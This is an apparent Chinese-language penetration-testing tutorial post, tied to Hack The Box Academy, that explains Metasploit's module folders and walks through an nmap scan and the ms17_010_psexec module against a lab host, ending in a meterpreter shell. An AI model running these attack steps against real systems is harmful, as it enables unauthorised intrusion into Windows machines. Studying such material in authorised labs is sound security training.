在正式介紹 Metasploit 前,想跟讀者分享一個概念~
這種自動化測試漏洞的工具雖然香,但是他不能完全取代手動偵測漏洞XD
為何呢?
很多人誤以為當某個漏洞利用失敗時,就意味著目標系統不存在該漏洞。
但事實上,漏洞利用失敗僅表明該 Metasploit
的漏洞利用模組不適用,而「非漏洞不存在」。
這是因為許多漏洞利用腳本「需要根據目標主機進行定制」,才能有效工作。
核心精神:
Metasploit
這類自動化工具應該被視為輔助工具,而「非替代我們手動滲透測試技能的工具」。
進入 msfconsole
後,可以從一個廣泛的模組列表中選擇所需的 Metasploit
模組。
「選擇適合的模組」是滲透測試中滿重要的一步~
每個模組都按照用途和功能被組織到不同的資料夾中,如 exploits/
(漏洞利用模組)、auxiliary/
(輔助模組)、post/
(後滲透模組)、payload/
(有效 payload
)、encoder/
(編碼器)、nops/
(無操作碼)等等。
再來看一下模組說明:
exploits/(漏洞利用模組):
用於利用已知漏洞進行攻擊。
auxiliary/(輔助模組) :
用於掃描、嗅探或其他不直接執行攻擊的輔助操作。
post/(後滲透模組):
在成功滲透後用於進一步信息收集或進行系統控制。
payloads/(有效 payload):
包含各種代碼,用於在漏洞被利用後執行。
encoders/(編碼器):
用來確保 payload
在傳遞過程中不會被攔截或損壞。
nops/(無操作碼):
用來填充漏洞利用中的空間,以保證 payload 大小一致。
結合我們之前學過的 Nmap
,結合它和 msfconsole
來執行簡單的範例:
使用 Nmap
掃描目標主機,確認開放的端口和服務:
nmap -sV 10.10.10.40
掃描結果顯示目標的 SMB
服務運行於端口 445,且系統為 Windows 7
,存在 MS17-010
漏洞。
啟動 Metasploit
的 msfconsole
:
msfconsole
search ms17_010
筆者 say say 念:
我們也可以使用 use module keywords:value 來指定搜尋範圍
舉例,如: search eternalromance type:exploit
選擇適合的漏洞模組,例如 exploit/windows/smb/ms17_010_psexec
:
use exploit/windows/smb/ms17_010_psexec
筆者 say say 念:
如果想要快一點,我們也可以使用 use module_id
舉例,如:use 0
但是,要注意這命令只能用於以下模組:Auxiliary(輔助功能)、Exploits(漏洞利用)、和 Post(後滲透模組)~
info
熟悉漏洞的功能,同時確保對客戶和我們自己保持一個安全、乾淨的工作環境。
設置遠程主機(RHOSTS
)的 IP
地址為目標 IP
:
set RHOSTS 10.10.10.40
筆者 say say 念:
如果想要設定預設設定(該設定在 program 重啟前都會保存),我們也可以使用
setg param target
舉例,如:setg RHOSTS 10.10.10.40
等。
查看漏洞模組的選項,確認所有必需參數已設置:
options
運行模組來嘗試利用漏洞:
run
當漏洞成功利用時,會開啟一個反向 Shell
,允許你在目標系統上執行命令:
meterpreter> shell
確認已成功取得系統權限:
whoami
今天真的高效產出~ 好讚!
之後會繼續介紹 Payload
的部分~
https://academy.hackthebox.com/